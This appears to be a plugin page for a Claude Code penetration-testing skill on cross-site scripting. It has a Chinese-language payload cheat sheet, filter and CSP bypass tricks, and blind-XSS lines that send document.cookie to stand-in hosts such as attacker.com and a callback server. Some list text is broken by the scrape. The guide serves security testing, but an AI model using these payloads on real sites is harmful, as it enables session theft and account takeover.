/vuln-skills:pentest-xssfrom vuln-skills
Guides penetration testing for cross-site scripting (XSS) vulnerabilities including stored, reflected, DOM-based, and CSP bypass techniques.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行 XSS 渗透测试时加载此 Skill。覆盖 Stored、Reflected、DOM-based XSS 的攻击手法。
高风险输入点:
?message=, ?error=, ?callback=)DOM-based XSS 入口:
location.hash、location.search 被 document.write() 或 innerHTML 使用postMessage 处理器缺少来源验证{{ }}、Vue v-html)识别信号:
Content-Type: text/html 的 API 响应Content-Security-Policy 头按上下文构造 Payload:
<!-- HTML 上下文 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- 属性上下文 -->
" onfocus=alert(1) autofocus="
' onmouseover='alert(1)
<!-- JavaScript 上下文 -->
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
<!-- URL 上下文 -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
Stored XSS 利用链:
fetch('https://attacker.com/steal?c='+document.cookie)过滤绕过技巧:
<ScRiPt>alert(1)</ScRiPt>onerror, onload, onfocus, ontoggle, onanimationendalert(1)、Unicode \u0061lert(1)<svg>, <math>, <details>, <marquee> .constructor.constructor`('alert(1)') [link](javascript:alert(1))、)Blind XSS:
<!-- 注入到支持工单、反馈表单、日志查看器等后台渲染的位置 -->
"><script src=https://your-callback-server/hook.js></script>
<img src=x onerror="fetch('https://callback.server/'+document.cookie)">
CSP 绕过:
script-src 'unsafe-inline':直接执行内联脚本<script src="trusted.com/jsonp?callback=alert"><base href="https://attacker.com/">script-src 白名单中的 CDN 利用<script>alert(1)</script> 并检查响应Content-Security-Policy 响应头是否存在及其强度innerHTML、document.write、eval)是否使用了用户可控数据HttpOnly 标志)漏洞利用可达到的效果:
严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
onload attribute that execut...What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
xss, penetration-testing, cross-site-scripting, web-security, csp-bypass
npx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skills26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-Other plugins' skills for the same job